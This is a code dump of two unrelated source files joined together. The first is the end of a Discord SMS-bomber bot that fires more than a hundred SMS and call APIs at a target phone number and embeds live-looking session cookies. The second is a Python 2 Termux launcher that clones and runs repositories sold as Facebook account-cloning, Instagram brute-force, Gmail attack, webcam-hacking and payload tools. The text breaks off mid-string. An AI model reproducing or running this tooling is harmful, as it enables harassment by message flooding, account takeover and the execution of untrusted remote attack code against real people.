"_gcl_au=1.1.708266966.1646798262;_fbp=fb.1.1646798263293.934490162;_gid=GA1.2.1869205174.1646798265;__gads=ID=3a9d3224d965d1d5-2263d5e0ead000a6:T=1646798265:RT=1646798265:S=ALNI_MZ7vpsoTaLNez288scAjLhIUalI6Q;_ga=GA1.2.2049889473.1646798264;_gat_UA-133219660-2=1;_ga_N9T2LF0PJ1=GS1.1.1646798262.1.1.1646799146.0;adonis-session=a5833f7b41f8bc112c05ff7f5fe3ed6fONCSG8%2Fd2it020fnejGzFhf%2BeWRoJrkYZwCGrBn6Ig5KK0uAhDeYZZgjdJeWrEkd2QqanFeA2r8s%2FXf7hI1zCehOFlqYcV7r4s4UQ7DuFMpu4ZJ45hicb4xRhrJpyHUA;XSRF-TOKEN=aacd25f1463569455d654804f2189bc77TyRxsqGOH%2FFozctmiwq6uL6Y4hAbExYamuaEw%2FJqE%2FrWzfaNdyMEtwfkls7v8UUNZ%2BFWMqd9pYvjGolK9iwiJm5NW34rWtFYoNC83P0DdQpoiYfm%2FKWn1DuSBbrsEkV"}) #https://swagger.io/specification/ def startall(phone, amount): for x in range(amount): threading.submit(sk1, phone) threading.submit(sk2, phone) threading.submit(sk3, phone) threading.submit(sk4, phone) threading.submit(sk5, phone) threading.submit(sk6, phone) threading.submit(sk7, phone) threading.submit(sk8, phone) threading.submit(sk9, phone) threading.submit(sk10, phone) threading.submit(sk11, phone) threading.submit(sk12, phone) threading.submit(sk13, phone) threading.submit(sk14, phone) threading.submit(sk15, phone) threading.submit(sk16, phone) threading.submit(sk17, phone) threading.submit(sk18, phone) threading.submit(sk19, phone) threading.submit(sk20, phone) threading.submit(sk21, phone) threading.submit(sk22, phone) threading.submit(sk23, phone) threading.submit(sk24, phone) threading.submit(sk25, phone) threading.submit(sk26, phone) threading.submit(sk27, phone) threading.submit(sk28, phone) threading.submit(sk29, phone) threading.submit(sk30, phone) threading.submit(sk31, phone) threading.submit(sk32, phone) threading.submit(p1112v2, phone) threading.submit(yandex, phone) threading.submit(p1112, phone) threading.submit(okru, phone) threading.submit(karusel, phone) threading.submit(icq, phone) threading.submit(findclone, phone) threading.submit(spam_pizza, phone) threading.submit(youla, phone) threading.submit(instagram, phone) threading.submit(VBC, phone) threading.submit(api1, phone) threading.submit(api2, phone) threading.submit(api3, phone) threading.submit(api4, phone) threading.submit(api5, phone) threading.submit(api6, phone) threading.submit(api7, phone) threading.submit(api8, phone) threading.submit(api9, phone) threading.submit(api10, phone) threading.submit(api11, phone) threading.submit(api12, phone) threading.submit(api13, phone) threading.submit(api14, phone) threading.submit(api15, phone) threading.submit(api16, phone) threading.submit(api17, phone) threading.submit(api18, phone) threading.submit(api19, phone) threading.submit(api22, phone) threading.submit(api21, phone) threading.submit(api23, phone) threading.submit(api24, phone) threading.submit(api25, phone) threading.submit(api26, phone) threading.submit(api27, phone) threading.submit(api28, phone) threading.submit(api29, phone) threading.submit(api30, phone) threading.submit(api31, phone) threading.submit(api32, phone) threading.submit(api33, phone) threading.submit(api34, phone) threading.submit(api35, phone) threading.submit(api36, phone) threading.submit(api37, phone) threading.submit(api38, phone) threading.submit(api39, phone) threading.submit(api40, phone) threading.submit(api41, phone) threading.submit(api42, phone) threading.submit(api43, phone) threading.submit(api44, phone) threading.submit(api45, phone) threading.submit(api46, phone) threading.submit(api47, phone) threading.submit(api48, phone) threading.submit(api49, phone) threading.submit(api50, phone) threading.submit(api51, phone) threading.submit(api52, phone) threading.submit(api53, phone) threading.submit(api54, phone) threading.submit(api55, phone) threading.submit(api56, phone) threading.submit(api57, phone) threading.submit(api58, phone) threading.submit(api59, phone) threading.submit(api60, phone) threading.submit(api61, phone) threading.submit(api62, phone) threading.submit(api63, phone) threading.submit(api64, phone) threading.submit(api65, phone) threading.submit(api66, phone) threading.submit(api67, phone) threading.submit(api68, phone) threading.submit(api69, phone) threading.submit(api70, phone) threading.submit(api71, phone) threading.submit(api72, phone) threading.submit(api73, phone) threading.submit(api74, phone) threading.submit(api75, phone) threading.submit(api76, phone) threading.submit(api77, phone) threading.submit(api79, phone) threading.submit(api80, phone) threading.submit(api88, phone) threading.submit(api89, phone) threading.submit(api90, phone) threading.submit(api91, phone) threading.submit(api92, phone) threading.submit(api93, phone) threading.submit(api94, phone) threading.submit(api95, phone) threading.submit(api96, phone) threading.submit(api97, phone) threading.submit(api98, phone) threading.submit(api99, phone) threading.submit(api100, phone) threading.submit(api101, phone) threading.submit(api102, phone) threading.submit(api103, phone) threading.submit(api104, phone) threading.submit(api105, phone) threading.submit(api106, phone) threading.submit(api107, phone) threading.submit(call1, phone) @bot.event async def on_command_error(ctx, error): print(str(error)) @bot.event async def on_ready(): await bot.change_presence(status=discord.Status.idle, activity=discord.Activity(type=discord.ActivityType.playing, name='𝑪𝒂𝒔𝒕𝒍𝒆 𝒐𝒇 𝒅𝒂𝒓𝒌')) print(gratient.purple(f" Login as : {bot.user.name}#{bot.user.discriminator}")) @bot.command() @commands.has_role('//') async def help(ctx): await ctx.message.delete() embed=discord.Embed( description=f"```command ⚙️ : {PREFIX}sms Phone Amount : 1 - {str(LIMIT)} : messgae```", color=0x00ff00, timestamp=datetime.utcnow()) embed.set_footer(text=" | Bot by 𝑪𝒂𝒔𝒕𝒍𝒆 𝒐𝒇 𝒅𝒂𝒓𝒌") embed.set_author(name='𝑪𝒂𝒔𝒕𝒍𝒆 𝒐𝒇 𝒅𝒂𝒓𝒌') embed.set_thumbnail(url='https://i.pinimg.com/originals/70/a5/52/70a552e8e955049c8587b2d7606cd6a6.gif') embed.set_image(url='https://cdn.discordapp.com/attachments/945589995647926293/961138791165329488/D92BA985-A039-4765-863B-CAA1BC1F8629.png') await ctx.send(embed=embed) @bot.command() async def sms(ctx, phone=None, amount=None): if (str(ctx.message.channel.id) == '1002168628046737418'): if (phone == None or amount == None): embed=discord.Embed( description="```#กรุณาใส่ข้อมูลให้ครบถ้วน#```", color=0x00ff00, timestamp=datetime.utcnow()) embed.set_footer(text=" | Bot by 𝑪𝒂𝒔𝒕𝒍𝒆 𝒐𝒇 𝒅𝒂𝒓𝒌") embed.set_author(name='𝑪𝒂𝒔𝒕𝒍𝒆 𝒐𝒇 𝒅𝒂𝒓𝒌') embed.set_thumbnail(url='https://media.discordapp.net/attachments/680449178626818065/909437371097972747/794404253744496642.gif') embed.set_image(url='https://cdn.discordapp.com/attachments/945589995647926293/961138791165329488/D92BA985-A039-4765-863B-CAA1BC1F8629.png') await ctx.send(embed=embed,) else: if (phone not in blacklist): try: amount = int(amount) if (amount > LIMIT): embed=discord.Embed( description=f":alarm_clock: : ใส่ไม่เกิน {LIMIT} นาที.", color=0x00ff00, timestamp=datetime.utcnow()) embed.set_footer(text=" | Bot by 𝑪𝒂𝒔𝒕𝒍𝒆 𝒐𝒇 𝒅𝒂𝒓𝒌") embed.set_author(name='𝑪𝒂𝒔𝒕𝒍𝒆 𝒐𝒇 𝒅𝒂𝒓𝒌') embed.set_thumbnail(url='https://media.discordapp.net/attachments/680449178626818065/909437371097972747/794404253744496642.gif') embed.set_image(url='https://cdn.discordapp.com/attachments/945589995647926293/961138791165329488/D92BA985-A039-4765-863B-CAA1BC1F8629.png') await ctx.send(embed=embed,) await ctx.message.delete() else: embed=discord.Embed( description=f"เบอร์ 📱 : ||{phone}|| \nสถานะ :envelope_with_arrow: : สุ่ม \nเป็นเวลา :bar_chart: : {amount} นาที", color=0x00ff00, timestamp=datetime.utcnow()) embed.set_footer(text=" | Bot by 𝑪𝒂𝒔𝒕𝒍𝒆 𝒐𝒇 𝒅𝒂𝒓𝒌") embed.set_author(name='𝑪𝒂𝒔𝒕𝒍𝒆 𝒐𝒇 𝒅𝒂𝒓𝒌') embed.set_thumbnail(url='https://i.pinimg.com/originals/70/a5/52/70a552e8e955049c8587b2d7606cd6a6.gif') embed.set_image(url='https://media.discordapp.net/attachments/1002879972219834408/1003142533062332506/standard.gif') await ctx.send(embed=embed,) startall(phone, amount) await ctx.message.delete() except: embed=discord.Embed( description=":clipboard: : ใส่เบอร์คนที่จะยิงให้ถูก. ", color=0x00ff00, timestamp=datetime.utcnow()) embed.set_footer(text=" | Bot by 𝑪𝒂𝒔𝒕𝒍𝒆 𝒐𝒇 𝒅𝒂𝒓𝒌") embed.set_author(name='𝑪𝒂𝒔𝒕𝒍𝒆 𝒐𝒇 𝒅𝒂𝒓𝒌') embed.set_thumbnail(url='https://media.discordapp.net/attachments/680449178626818065/909437371097972747/794404253744496642.gif') embed.set_image(url='https://media.discordapp.net/attachments/1002879972219834408/1003142533062332506/standard.gif') await ctx.message.delete() await ctx.send(embed=embed,delete_after=10) else: embed=discord.Embed( description=f":face_with_symbols_over_mouth: : อย่ายิงเบอร์กู : :face_with_symbols_over_mouth: ", color=0x00ff00, timestamp=datetime.utcnow()) embed.set_footer(text=" | Bot by 𝑪𝒂𝒔𝒕𝒍𝒆 𝒐𝒇 𝒅𝒂𝒓𝒌") embed.set_author(name='𝑪𝒂𝒔𝒕𝒍𝒆 𝒐𝒇 𝒅𝒂𝒓𝒌') embed.set_thumbnail(url='https://i.pinimg.com/originals/70/a5/52/70a552e8e955049c8587b2d7606cd6a6.gif') embed.set_image(url='https://cdn.discordapp.com/attachments/945589995647926293/961138791165329488/D92BA985-A039-4765-863B-CAA1BC1F8629.png') await ctx.send(embed=embed,) await ctx.message.delete() else: embed=discord.Embed( description=":chart_with_downwards_trend: : ใส่ให้ภูกห้องไอควาย \n #〖📩〗-»《. ", color=0x00ff00, timestamp=datetime.utcnow()) embed.set_footer(text=" | Bot by 𝑪𝒂𝒔𝒕𝒍𝒆 𝒐𝒇 𝒅𝒂𝒓𝒌") embed.set_author(name=' 𝑪𝒂𝒔𝒕𝒍𝒆 𝒐𝒇 𝒅𝒂𝒓𝒌') embed.set_thumbnail(url='https://media.discordapp.net/attachments/680449178626818065/909437371097972747/794404253744496642.gif') embed.set_image(url='https://cdn.discordapp.com/attachments/945589995647926293/961138791165329488/D92BA985-A039-4765-863B-CAA1BC1F8629.png') await ctx.send(embed=embed,) await ctx.message.delete() bot.run(TOKEN, reconnect=True)
Kelechiodinakachi / Bella#!/usr/bin/python2 #coding=utf-8 #The Credit For This Code Goes To lovehacker #If You Wanna Take Credits For This Code, Please Look Yourself Again... #Reserved2020 import os,sys,time,mechanize,itertools,datetime,random,hashlib,re,threading,json,getpass,urllib,cookielib from multiprocessing.pool import ThreadPool #### RANDOM Clour #### P = '\033[1;97m' # M = '\033[1;91m' # H = '\033[1;92m' # K = '\033[1;93m' # B = '\033[1;94m' # U = '\033[1;95m' # O = '\033[1;96m' # my_color = [P, M, H, K, B, U, O] warna = random.choice(my_color) warni = random.choice(my_color) def pkgs(): love("\033[1;91m«-----------------\033[1;96mSHABIR BALOCH\033[1;91m-----------------»") love("\033[1;96m«-----------------Disclaimer---------------»") love("\033[1;91m This Tool is for Educational Purpose") love("\033[1;93mThis presentation is for educational") love("\033[1;93mpurposes ONLY.How you use this information") love("\033[1;93mis your responsibility.I will not be") love("\033[1;93mheld accountable This Tool/Channel Doesn't") love("\033[1;93mSupport illegal activities.for any illegal") love("\033[1;93mActivitie This Tool is for Educational Purpose") love("\033[1;91m«------------------SHABIR BALOCH----------------»") love("\033[1;95mB4Baloch 2nd Tool Start ComingSoon New Update»") love("\033[1;96m «-----------------\033[1;92mSHABIR BALOCH\033[1;96m--------------»") time.sleep(0.3) os.system("pip install lolcat") try: import mechanize except ImportError: os.system("pip2 install mechanize") try: import requests except ImportError: os.system("pip2 install requests") os.system("python2 Cloning.py") from requests.exceptions import ConnectionError from mechanize import Browser from datetime import datetime reload(sys) sys.setdefaultencoding('utf8') br = mechanize.Browser() br.set_handle_robots(False) br.set_handle_refresh(mechanize._http.HTTPRefreshProcessor(),max_time=1) br.addheaders = [('User-Agent', 'Opera/9.80 (Android; Opera Mini/32.0.2254/85. U; id) Presto/2.12.423 Version/12.16')] os.system("clear") done = False def animate(): for c in itertools.cycle(['\033[1;96m|', '\033[1;92m/', '\033[1;95m-', '\033[1;91m\\']): if done: break sys.stdout.write('\r\033[1;93mLoading ' + c + c + c + c + c + c + c + c + c + c + c + c + c + c + c + c + c + c + c + c + c + c + c + c + c + c + c + c + c + c + c + c + c + c + c + c + c + c + c + c + c ) sys.stdout.flush() time.sleep(0.001) t = threading.Thread(target=animate) t.start() time.sleep(5) done = True def keluar(): print "\033[1;97m{\033[1;91m!\033[1;97m} Keluar" os.sys.exit() def acak(x): w = 'mhkbpcP' d = '' for i in x: d += '!'+w[random.randint(0,len(w)-1)]+i return cetak(d) def cetak(x): w = 'mhkbpcP' for i in w: j = w.index(i) x= x.replace('!%s'%i,'%s;'%str(31+j)) x += '' x = x.replace('!0','') sys.stdout.write(x+'\n') def jalan(z): for e in z + '\n': sys.stdout.write(e) sys.stdout.flush() time.sleep(0.00001) ##### LOGO ##### logo = """ \033[1;96mPAK HACKERS░░░\033[1;92m░░░SHABIRBALOCH╗░░WEBDEVELOPER╗░AND╗░░A\033[1;91mETICALHACKER╗ \033[1;96mYT╔══M4╗B4║░\033[1;92m░░░░WEBHACKER╔══PAK╗ANONAYMOUS╔══YOUTUBE╗CHANNEL║\033[1;91m░B4_BALOCH_M4_MASTER╔╝ \033[1;96mPAKISTANI╦╝HACKERS\033[1;92m║░░░░░███████║██║░░╚═╝\033[1;91m█████═╝░ \033[1;96mWEBHACKER╔══SHABIRBALOCH╗\033[1;92m██║░░░░░██╔══██║██║░░\033[1;91m██╗██╔═██╗░ \033[1;96mWHATSAPP\033[1;92m╦╝03232132362╗██║░░██║╚█\033[1;91m████╔╝██║░╚██╗ \033[1;96m╚═══\033[1;92m══╝░╚══════╝╚═╝░░╚═╝\033[1;91m░╚════╝░╚═╝░░╚═╝ \033[1;96mHACK\033[1;92mTHE╗░░░HACKERS╗░BALOCH╗░HACKERS\033[1;91m████╗██╗░█████╗░ \033[1;96mWE\033[1;92mARE╗░LEGION║WE╔══NEVER╗\033[1;91mFORGIVE╔════╝SPEED█║LIMIT█╔══INCREASED█╗ \033[1;92mVISIT╔█OUR█╔YT║█CHANNEL█\033[1;91mB4║█BALOCH█╗░░M4║██MASTER██║ \033[1;92m██║╚██╔╝██║██╔\033[1;91m══██║██╔══╝░░██║██╔══██║ \033[1;92m██║░╚═╝░██║█\033[1;91m█║░░██║██║░░░░░██║██║░░██║ \033[1;92m╚═╝░░░░░╚═\033[1;91m╝╚═╝░░╚═╝╚═╝░░░░░╚═╝╚═╝░░╚═╝ \033[1;47m\033[1;31m PAKISTANI HACKER \033[1;0m \033[1;96m«-----------------\033[1;91mSHABIR BALOCH\033[1;96m-----------------» \033[1;91m ┈┈┈◢▇◣◢▇◣┈┈◢▇◣◢▇◣┈┈◢▇◣◢▇◣┈┈┈┈ BALOCH \033[1;91m ┈┈┈▇▇▇▇▇▇┈┈▇▇▇▇▇▇┈┈▇▇▇▇▇▇┈┈┈┈ HACKER \033[1;91m ┈┈┈◥▇▇▇▇◤┈┈◥▇▇▇▇◤┈┈◥▇▇▇▇◤┈┈┈┈ \033[1;91m ┈┈┈┈◥▇▇◤┈┈┈┈◥▇▇◤┈┈┈┈◥▇▇◤┈┈┈┈┈ WhatsApp \033[1;91m ┈┈-̴̧̬͖͇̟̟̼̱͙̠͉̟̹̘̖̥͈͖͚̯͗͑͌̃̿͗̈̿̿̏͗̑̀̀͘┈┈◥◤┈┈┈-̴̧̬͖͇̟̟̼̱͙̠͉̟̹̘̖̥͈͖͚̯͗͑͌̃̿͗̈̿̿̏͗̑̀̀͘┈┈◥◤┈┈┈-̴̧̬͖͇̟̟̼̱͙̠͉̟̹̘̖̥͈͖͚̯͗͑͌̃̿͗̈̿̿̏͗̑̀̀͘┈┈◥◤┈┈┈-̴̧̬͖͇̟̟̼̱͙̠͉̟̹̘̖̥͈͖͚̯͗͑͌̃̿͗̈̿̿̏͗̑̀̀͘┈┈┈ 03232132362 \033[1;96m«-----------------\033[1;91mBELLA\033[1;96m-----------------»""" R = '\033[1;91m' G = '\033[1;92m' Y = '\033[1;93m' B = '\033[1;94m' P = '\033[1;95m' S = '\033[1;96m' W = '\033[1;97m' ######Clear###### def clear(): os.system('clear') #### time sleep #### def t(): time.sleep(1) def t1(): time.sleep(0.01) #### print std #love### def love(z): for e in z + "\n": sys.stdout.write(e) sys.stdout.flush() t1() def menu(): os.system('clear') pkgs() os.system('clear') print(logo) os.system('clear') os.system('echo SHABIR░░░░░░BALOCH░░PAKISTANI░ETICAL░░HACKER | lolcat -a -F 0.1') os.system('echo SHABIR░░░░░BALOCH██WEB██DEVELOPER░██ | lolcat -a -F 0.1') os.system('echo WHATSAPP░░░░░03232132362░░FOR THIS SCRIPT░ | lolcat -a -F 0.1') os.system('echo CONTACT ░░░░░ME ON WHATSAPP░░BALOCH CYBER HACKER░ | lolcat -a -F 0.1') os.system('echo WE ARE ░░ANONAYMOUS░WE ARE LEGION WE NEVER GORFIVE | lolcat -a -F 0.1') os.system('echo WE NEVER FORGET░ASPECT ░░ US ░KNOWLEDGE░IS░░FREE | lolcat -a -F 0.1') os.system('echo HI, I AM SHABIR BALOCH A ETICAL HACKER | lolcat -a -F 0.1') os.system('echo WE ARE ANONYMOUS WE ARE LEGION WE NEVER FORGIVE WE NEVER FORGET ASPECT US | lolcat -a -F 0.1') os.system('echo SHABIR BALOCH WHATSAPP = 03232132362 | lolcat -a -F 0.1') os.system('echo VISIT OUR YOUTUBE CHANNEL B4 BALOCH M4 MASTER | lolcat -a -F 0.1') os.system('echo PAKISTANI ETICAL HACKER AND A PROGRAMMER | lolcat -a -F 0.1') os.system('echo LETS░░░░░ENJOY░░OUR░░░░░TOOL░░THANKS | lolcat -a -F 0.1') os.system('echo ------ Your Mind is Your Best Weapon------&&date | lolcat -a -F 0.1') os.system('echo ----------------BELLA-----------------| lolcat') os.system('echo ┈┈┈◢▇◣◢▇◣┈┈◢▇◣◢▇◣┈┈◢▇◣◢▇◣┈┈┈┈ SHABIR BALOCH| lolcat --animate') os.system('echo ┈┈┈▇▇▇▇▇▇┈┈▇▇▇▇▇▇┈┈▇▇▇▇▇▇┈┈┈┈ BALOCHHACKER| lolcat --animate') os.system('echo ┈┈┈◥▇▇▇▇◤┈┈◥▇▇▇▇◤┈┈◥▇▇▇▇◤┈┈┈┈| lolcat') os.system('echo ┈┈┈┈◥▇▇◤┈┈┈┈◥▇▇◤┈┈┈┈◥▇▇◤┈┈┈┈┈ WhatsApp| lolcat --animate') os.system('echo ┈┈-̴̧̬͖͇̟̟̼̱͙̠͉̟̹̘̖̥͈͖͚̯͗͑͌̃̿͗̈̿̿̏͗̑̀̀͘┈┈◥◤┈┈┈-̴̧̬͖͇̟̟̼̱͙̠͉̟̹̘̖̥͈͖͚̯͗͑͌̃̿͗̈̿̿̏͗̑̀̀͘┈┈◥◤┈┈┈-̴̧̬͖͇̟̟̼̱͙̠͉̟̹̘̖̥͈͖͚̯͗͑͌̃̿͗̈̿̿̏͗̑̀̀͘┈┈◥◤┈┈┈-̴̧̬͖͇̟̟̼̱͙̠͉̟̹̘̖̥͈͖͚̯͗͑͌̃̿͗̈̿̿̏͗̑̀̀͘┈┈┈03232132362| lolcat --animate') os.system('echo -----------------BELLA---------------| lolcat --animate') os.system('echo To return to this menu from any Tool| lolcat --animate') time.sleep(0.0005) os.system('echo Stop Process Press. CTRL + z| lolcat --animate') time.sleep(0.0005) os.system('echo Type python2 B4BALOCH.py| lolcat --animate') os.system('echo -----------------SHABIR BALOCH----------------| lolcat --animate') time.sleep(0.0005) os.system('echo [A] Install Random Mail Cloning--------------- Tool ----● | lolcat --animate') time.sleep(0.0005) os.system('echo [B] Install Email Cloning--------------------- Tool ----● | lolcat --animate') time.sleep(0.0005) os.system('echo [C] Install Manual Password------------------- Tool ----● | lolcat --animate') time.sleep(0.0005) os.system('echo [D] Install Group Cloning--------------------- Tool ----● | lolcat --animate') time.sleep(0.0005) os.system('echo [E] Install With Out Fb Id-------------------- Tool ----● | lolcat --animate') time.sleep(0.0005) os.system('echo [F] Install Facebook Target------------------- Tool ----● | lolcat --animate') time.sleep(0.0005) os.system('echo [G] Install SpiderMan------------------------- Tool ----● | lolcat --animate') time.sleep(0.0005) os.system('echo [H] Install Kalilinux------------------------- Tool ----● | lolcat --animate') time.sleep(0.0005) os.system('echo [I] Install BlackHat-------------------------- Tool ----● | lolcat --animate') time.sleep(0.0005) os.system('echo [J] Install RedMoonNew------------------------ Tool ----● | lolcat --animate') time.sleep(0.0005) os.system('echo [K] Install love3Hack3r----------------------- Tool ----● | lolcat --animate') time.sleep(0.0005) os.system('echo [L] Install B4 BALOCH Clonnig----------------- Tool ----● | lolcat --animate') time.sleep(0.0005) os.system('echo [M] Install Web Admin Panel Finder------------ Tool ----● | lolcat --animate') time.sleep(0.0005) os.system('echo [N] Install Attacker-------------------------- Tool ----● | lolcat --animate') time.sleep(0.0005) os.system('echo [O] Install Payload--------------------------- Tool ----● | lolcat --animate') time.sleep(0.0005) os.system('echo [P] Install CamHacker------------------------- Tool ----● | lolcat --animate') time.sleep(0.0005) os.system('echo [Q] Install Compiler-------------------------- Tool ----● | lolcat --animate') time.sleep(0.0005) os.system('echo [R] Install Instagram Brut-------------------- Tool ----● | lolcat --animate') time.sleep(0.0005) os.system('echo [S] Install Marsh Base------------------------ Tool ----● | lolcat --animate') time.sleep(0.0005) os.system('echo [T] Install Gmail Target---------------------- Tool ----● | lolcat --animate') time.sleep(0.0005) os.system('echo [U] Install Termux Logo----------------------- Tool ----● | lolcat --animate') time.sleep(0.0005) os.system('echo [V] Install Termux TBomb---------------------- Tool ----● | lolcat --animate') time.sleep(0.0005) os.system('echo [W] B4 BALOCH M4 MASTER WhatsApp Group-------- Tool----● | lolcat --animate') time.sleep(0.0005) os.system('echo [X] BlackMafia Dragon404 New Update -----● | lolcat -a -F 0.01') time.sleep(0.0005) os.system('echo [Y] Tool Update--------------------------● | lolcat --animate') time.sleep(0.0005) os.system('echo [Z] EXIT | lolcat -a -F 0.1') time.sleep(0.0005) os.system('echo Slect Option A-Z➣➤| lolcat -a -F 0.1 ') mafia() def mafia(): black = raw_input('\033[1;91m┺\033[1;92m──\033[1;97m──\033[1;96m──\033[1;95m──\033[1;94m──\033[1;92m──\033[1;96m──━\033[1;93m➢\033[1;92m➣\033[1;91m➤') if black =="": print (" ShabirBaloch!") mafia() elif black =="A" or black =="a": clear() print(logo) os.system("rm -rf $HOME/random") clear() os.system("cd $HOME && git clone https://github.com/lovehacker404/random") print (logo) time.sleep(5) os.system("cd $HOME/random && python2 lovehacker.py") elif black =="B" or black =="b": clear() print(logo) os.system("rm -rf $HOME/email") os.system("cd $HOME && git clone https://github.com/lovehacker404/email") print (logo) time.sleep(5) os.system("cd $HOME/email && python2 lovehacker.py") elif black =="C" or black =="c": clear() print(logo) os.system("rm -rf BELLA/Password") os.system("cd $HOME && git clone https://github.com/lovehacker404/Password") print (logo) time.sleep(5) os.system("cd BELLA/Password && python2 lovehacker.py") elif black =="D" or black =="d": clear() print(logo) os.system("rm -rf BELLA/lovehack") os.system("cd $HOME && git clone https://github.com/lovehacker404/lovehack") print (logo) time.sleep(5) os.system("cd $HOME/lovehack && python2 lovehacker.py") elif black =="E" or black =="e": clear() print(logo) os.system("rm -rf $HOME/402") os.system("cd $HOME && git clone https://github.com/lovehacker404/402") print (logo) love("\033[1;93mTool User Name :\033[1;95m BELLA ") love("\033[1;93mTool Password :\033[1;95m BELLA") time.sleep(5) os.system("cd $HOME/402 && python2 Cloningx-2-1.py") elif black =="F" or black =="f": clear() print(logo) os.system("rm -rf $HOME/blackhole") os.system("cd $HOME && git clone https://github.com/lovehacker404/blackhole") print (logo) love("\033[1;93mTool User Name :\033[1;95m Black ") love("\033[1;93mTool Password :\033[1;95m Mafia ") love("\033[1;93m :Target Attack : ") love("\033[1;93mPassword list :\033[1;95mlovehacker-2.txt ") time.sleep(5) os.system("cd $HOME/blackhole && python2 AsifJaved.py") elif black =="G" or black =="g": clear() print(logo) os.system("rm -rf $HOME/Spider") os.system("cd $HOME && git clone https://github.com/lovehacker404/Spider") print (logo) love("\033[1;91mCongratulations Cobra Tool Has Been Installed Successfully") love("Now you can open this tool as usual") love("\033[1;93mTool User Name SpiderMan Password lovehacker") time.sleep(5) os.system("cd $HOME/Spider && python2 SpiderMan.py") elif black =="H" or black =="h": clear() print(logo) os.system("rm -rf $HOME/KaliIndia") os.system("cd $HOME && git clone https://github.com/lovehacker404/KaliIndia") print (logo) love("\033[1;96mCongratulations BlackMafia Tool Has Been Installed Successfully") love("Now you can open this tool as usual") love("\033[1;93mTool User Name India Password lovehacker") time.sleep(5) os.system("cd $HOME/KaliIndia && python2 kalilinux.India.py") elif black =="I" or black =="i": clear() print(logo) os.system("rm -rf $HOME/BlackHat") os.system("cd $HOME && git clone https://github.com/lovehacker404/BlackHat") print (logo) love("\033[1;96mCongratulations BlackHat Tool Has Been Installed Successfully") love("Now you can open this tool as usual") love("\033[1;93mTool User Name BlackHat Password lovehacker") time.sleep(5) os.system("cd $HOME/BlackHat && python2 BlackHat.py") elif black =="J" or black =="j": clear() print(logo) print(logo) os.system("rm -rf $HOME/RedMoonNew") os.system("cd $HOME && git clone https://github.com/lovehacker404/RedMoonNew") print (logo) love("\033[1;91mCongratulations RedMoonNew Tool Has Been Installed Successfully") love("Now you can open this tool as usual") love("\033[1;93mTool User Name\033[1;92m RedMoonNew\033[1;93m Password \033[1;92mlovehacker") time.sleep(6) os.system("cd $HOME/RedMoonNew && python2 lovehacker") elif black =="K" or black =="k": clear() print(logo) print(logo) os.system("rm -rf $HOME/lov3Hak3r") os.system("cd $HOME && git clone https://github.com/lovehacker404/lov3Hak3r") print (logo) love("\033[1;96mCongratulations BlackMafia Tool Has Been Installed Successfully") love("Now you can open this tool as usual") time.sleep(5) os.system("cd $HOME/lov3Hak3r && python2 lovehacker.py") elif black =="L" or black =="l": clear() print(logo) print(logo) os.system("rm -rf $HOME/B4_BALOCH") os.system("cd $HOME && git clone https://github.com/shabirbaloch398/B4_BALOCH.git") print (logo) love("\033[1;93mCongratulations Cobra Tool Has Been Installed Successfully") love("Now you can open this tool as usual") love("\033[1;95mTool Dont Have Username And Password Enjoy But Use 786786 Pass Or Username On My Tool Thanks") time.sleep(5) os.system("cd $HOME/Cobra && python2 Scorpion.py") elif black =="M" or black =="m": clear() print(logo) print(logo) os.system("rm -rf $HOME/attack911") os.system("cd $HOME && git clone https://github.com/shabirbaloch398/attack911.git") print (logo) love("\033[1;91mCongratulations attack911 Tool Has Been Installed Successfully") love("Now you can open this tool as usual") love("\033[1;96mAdmin Panel Finder") time.sleep(5) os.system("cd $HOME/attack911 && python2 attack911.py") elif black =="N" or black =="n": clear() print(logo) print(logo) os.system("rm -rf $HOME/Attacker") os.system("cd $HOME && git clone https://github.com/shabirbaloch398/Attacker.git") print (logo) love("\033[1;96mCongratulations Attacker Tool Has Been Installed Successfully") love("Now you can open this tool as usual") love("\033[1;92mBest Script") time.sleep(5) os.system("cd $HOME/Attacker && python2 B4.py") elif black =="O" or black =="o": clear() print(logo) print(logo) os.system("pkg install unstable-repo") os.system("pkg install metasploit") os.system("pkg install msfconsole") os.system("rm -rf $HOME/Black_Mafia") os.system("cd $HOME && git clone https://github.com/lovehacker404/Black_Mafia") print (logo) love("\033[1;93mCongratulations Black_Mafia Payload Tool Has Been Installed Successfully") love("Now you can open this tool as usual") time.sleep(5) os.system("cd $HOME/Black_Mafia && python3 Black_Mafia.py") elif black =="P" or black =="p": clear() print(logo) print(logo) os.system("rm -rf $HOME/Pak") os.system("cd $HOME && git clone https://github.com/lovehacker404/Pak") print (logo) love("\033[1;96mCongratulations CamHacker Tool Has Been Installed Successfully") love("Now you can open this tool as usual") love("\033[1;92mEducational Perpose only") time.sleep(2) os.system("cd $HOME/Pak && python lovehacker.py") elif black =="Q" or black =="q": clear() print(logo) os.system("rm -rf $HOME/Compile") os.system("cd $HOME && git clone https://github.com/lovehacker404/Compile") print (logo) love("\033[1;93mCongratulations Tool Has Been Update Successfully") love("Now you can open this tool as usual") time.sleep(5) os.system("cd $HOME/Compile && python2 lovehacker.py") elif black =="R" or black =="r": clear() print(logo) print(logo) os.system("pip2 install bs4") os.system("rm -rf $HOME/Insta") os.system("cd $HOME && git clone https://github.com/lovehacker404/Insta") print (logo) love("\033[1;93mCongratulations Tool Has Been Update Successfully") love("Now you can open this tool as usual") love("Passwordlist No1 (wordlist.txt) No2 (BlackMafia.txt)") time.sleep(5) os.system("cd $HOME/Insta && python2 lovehacker.py") elif black =="S" or black =="s": clear() print(logo) os.system("rm -rf $HOME/TimePass") os.system("cd $HOME && git clone https://github.com/lovehacker404/TimePass") print (logo) love("\033[1;93mCongratulations Tool Has Been Update Successfully") love("Now you can open this tool as usual") time.sleep(5) os.system("cd $HOME/TimePass && python2 lovehacker.py") elif black =="T" or black =="t": clear() print(logo) print(logo) os.system("rm -rf $HOME/GmailAttack") os.system("cd $HOME && git clone https://github.com/lovehacker404/GmailAttack") print (logo) love("\033[1;96mCongratulations GmailAttack Tool Has Been Installed Successfully") love("Now you can open this tool as usual") love("plz wi8 Password list name (lovehacker-1.txt) ") time.sleep(6) os.system("cd $HOME/GmailAttack && python2 lovehacker.py") elif black =="U" or black =="u": clear() print(logo) print(logo) os.system("rm -rf $HOME/Logo") os.system("cd $HOME && git clone https://github.com/lovehacker404/Logo") print (logo) love("\033[1;96mCongratulations BlackMafia Logo Tool Has Been Installed Successfully") love("Now you can open this tool as usual") time.sleep(5) os.system("cd $HOME/Logo && bash lovehacker.sh") elif black =="V" or black =="v": clear() print(logo) os.system("rm -rf $HOME/sms") os.system("cd $HOME && git clone https://github.com/lovehacker404/sms") print (logo) love("\033[1;96mCongratulations 